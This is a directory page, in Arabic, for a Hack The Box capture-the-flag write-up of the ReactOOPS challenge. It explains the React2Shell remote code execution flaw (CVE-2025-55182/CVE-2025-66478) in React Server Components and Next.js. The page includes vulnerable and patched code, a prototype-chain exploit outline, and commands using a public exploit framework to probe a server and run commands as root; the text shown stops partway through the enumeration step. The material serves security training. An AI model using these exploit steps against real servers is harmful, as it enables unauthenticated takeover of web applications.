Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ReactOOPS-WriteUp — شرح Hack The Box للتحدي المتقاعد ReactOOPS - حل كامل ودليل تعليمي لـ CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). يتضمن تحليلًا مفصلاً للثغرات، وتقنيات الاستغلال، ومواد تعليمية للفريق. | Kitploit
أدوات/GitHubGitHub/thestingr/reactoops-writeup
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولاتمختبرات وتدريب عملي
624منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
thestingr/reactoops-writeup

ReactOOPS-WriteUp

شرح Hack The Box للتحدي المتقاعد ReactOOPS - حل كامل ودليل تعليمي لـ CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). يتضمن تحليلًا مفصلاً للثغرات، وتقنيات الاستغلال، ومواد تعليمية للفريق.

عرض المستودعالموقع الإلكتروني
مشاركة

ReactOOPS – حل تحديث HTB ويب

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

المؤلف: TheStingR - فريق ISP1337Hackers
التحدي: ReactOOPS (ويب)
المنصة: Hack The Box
الصعوبة: سهل جداً – تم التقاعد
تاريخ الحل: 13 ديسمبر 2025

جدول المحتويات

  1. الملخص التنفيذي
  2. وصف التحدي
  3. تحليل الثغرات
  4. الاستطلاع والحصر
  5. دليل الاستغلال
  6. استخراج العلم
  7. الغوص التقني العميق
  8. الدفاع والتخفيف
  9. الدروس المستفادة

الملخص التنفيذي

ReactOOPS هو تحدٍ ويب يستغل CVE-2025-55182 / CVE-2025-66478، وهي ثغرة حرجة غير موثقة لتنفيذ الأوامر عن بُعد (RCE) في مكونات خادم React ومُوجّه تطبيقات Next.js.

النتائج الرئيسية:

  • ✅ الخادم: Next.js 16.0.6 مع React 19 (ثغري)
  • ✅ الثغرة: عدم وجود فحص hasOwnProperty في إزالة تسلسل بروتوكول Flight
  • ✅ التأثير: RCE غير موثقة بصلاحيات الجذر (root)
  • ✅ الاستغلال: طلب HTTP POST واحد كافٍ

وصف التحدي

التقييم الأولي

يقدم التحدي تطبيق Next.js مصقول يشغل واجهة مساعد NexusAI. يبدو أن التطبيق يتعامل مع إدخال المستخدم من خلال مكونات خادم React، لكن الأخطاء البسيطة في الطبقة التفاعلية تشير إلى ثغرات كامنة.

مجموعة التقنيات المستخدمة

  • الإطار: Next.js 16.0.6
  • إصدار React: 19.x
  • النشر: حاوية Docker (بناء Next.js المستقل)
  • منفذ الخادم: 50183

ما الذي يجعل هذا التطبيق ضعيفاً؟

يستخدم التطبيق:

  1. مكونات خادم React (RSC) – عرض من جانب الخادم مع اتصال العميل
  2. بروتوكول Flight – تنسيق تسلسل لنقل بيانات RSC
  3. تبعيات ضعيفة – react-server-dom-webpack بدون تصحيحات أمنية

تحليل الثغرات

نظرة عامة على CVE-2025-55182 / CVE-2025-66478

ما هو بروتوكول Flight؟

بروتوكول Flight هو تنسيق تسلسل خاص بـ React لنقل البيانات بين الخادم والعميل في بنى مكونات الخادم. يستخدم مراجع مثل:

  • $1 – مرجع إلى كائن في الموضع 1
  • $1:path:to:value – اجتياز مسار الخاصية

فحص الأمان المفقود

الكود الضعيف في ملف ReactFlightReplyServer.js الخاص بـ React:

// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
    let chunk = chunks.get(id);
    const value = chunk.value;
    
    // Process references like "$1:path:to:value"
    if (reference.startsWith('$')) {
        const refId = parseInt(reference.slice(1).split(':')[0]);
        const path = reference.slice(1).split(':').slice(1);
        
        let obj = chunks.get(refId).value;
        
        // VULNERABLE LOOP - NO hasOwnProperty CHECK!
        for (let i = 0; i < path.length; i++) {
            obj = obj[path[i]];  // ← Allows prototype chain access
        }
        return obj;
    }
}

النسخة الآمنة (ما يجب أن تكون عليه):

for (let i = 0; i < path.length; i++) {
    if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
        obj = obj[path[i]];
    } else {
        throw new Error('Invalid property access');
    }
}

لماذا هذا مهم؟

بدون فحص hasOwnProperty، يمكن للمهاجم اجتياز:

myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype

سلسلة الاستغلال

الخطوة 1: إرسال المرجع "$1:__proto__:then"
         │
         ├─ الوصول إلى myChunk[__proto__]
         └─ ثم الوصول إلى [then] على النموذج الأولي

الخطوة 2: إنشاء كائن مزيف يشبه Promise
         │
         └─ { then: maliciousFunction }

الخطوة 3: رد الفعل يستدعي await على هذا الكائن
         │
         ├─ يستدعي طريقة .then()
         └─ ينفذ دالة المهاجم

الخطوة 4: تنفيذ تعليمات عشوائية
         │
         └─ يتم تشغيل الكود في سياق الخادم كجذر

لماذا لا يوجد فحص للمصادقة؟

توجد الثغرة قبل التحقق من Next-Action:

سير معالجة الطلب:
├─ تحليل بيانات النموذج متعددة الأجزاء
├─ إزالة تسلسل بروتوكول Flight  ← هنا يحدث RCE
│  └─ معالجة المراجع والكائنات
│  └─ لا يوجد فحص hasOwnProperty!
├─ استخراج ترويسة Next-Action
├─ التحقق من معرّف الإجراء          ← هذا يأتي بعد ذلك
└─ تنفيذ معالج الإجراء

من خلال تفعيل RCE أثناء إزالة التسلسل، يتجاوز المهاجم جميع فحوصات الأمان على مستوى الإجراء.


الاستطلاع والحصر

الخطوة 1: اختبار الاتصال الأولي

# Test if service is responding
curl -v http://<IP>:PORT/

المتوقع: تطبيق Next.js يقدم HTML مع تفعيل RSC

الخطوة 2: تحديد التقنيات

ابحث عن المؤشرات:

  • ترويسات استجابة تحتوي على بادئات next-
  • HTML يحتوي على <script type="text/x-component">
  • وجود آثار دليل .next
  • نقاط نهاية POST بدون مصادقة واضحة

الخطوة 3: كشف الثغرات

المؤشر الأكثر موثوقية هو محاولة هجوم تلوث النموذج الأولي وملاحظة الاستجابة:

# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash

دليل الاستغلال

إعداد البيئة

# Navigate to challenge directory
cd /Challenges/ReactOOPS

# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git

# Verify all scripts are executable
chmod +x react2shell/*.sh

المرحلة 1: الكشف (دليل غير مدمر)

الهدف: تأكيد أن الخادم ضعيف دون التسبب في ضرر

cd react2shell

# Run the detection probe
./detect.sh http://<IP>:PORT

ما يفعله:

  1. ينشئ طلب POST متعدد الأجزاء مع ترويسة Next-Action: x
  2. يرسل الحمولة: ["$1:a:a"] تشير إلى كائن فارغ {}
  3. على الخادم الضعيف: يحاول JavaScript الوصول إلى {}.a.a
  4. عدم وجود فحص hasOwnProperty يتسبب في تعطل
  5. يعيد الخادم HTTP 500 مع digest خطأ

الناتج المتوقع:

[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT

[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern

[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}

[!] This server is running a vulnerable version of React RSC / Next.js

التفسير:

  • HTTP 500: ✅ تم اكتشاف تعطل
  • E{"digest" في الاستجابة: ✅ تنسيق معالجة أخطاء React
  • الاستنتاج: الخادم ضعيف

المرحلة 2: تنفيذ الأوامر عن بُعد (إثبات المفهوم)

الهدف: التحقق من تنفيذ أوامر عشوائية

# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"

ما يفعله:

  1. ينشئ حمولة متعددة الأجزاء مع حمولة الأمر
  2. يدمج الأمر في مرجع تلوث النموذج الأولي
  3. يرسل طلب POST مع Next-Action: x
  4. يقوم الخادم بإزالة التسلسل وتنفيذ الأمر أثناء المعالجة
  5. يعيد ناتج الأمر عبر إعادة توجيه HTTP 303

الناتج المتوقع:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

الرؤية الرئيسية: يُظهر الناتج uid=0(root) – خادم الويب يعمل كجذر! هذا خطأ في التكوين الأمني يضخم التأثير.

المرحلة 3: جمع المعلومات

الهدف: رسم خريطة لنظام الملفات وتحديد الملفات الحساسة

# Check current working directory
./exploit-redirect.sh -q http://<IP>:PORT "pwd"
# Output: /app/.next/standalone

# List application root directory
./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
تنزيل الأداة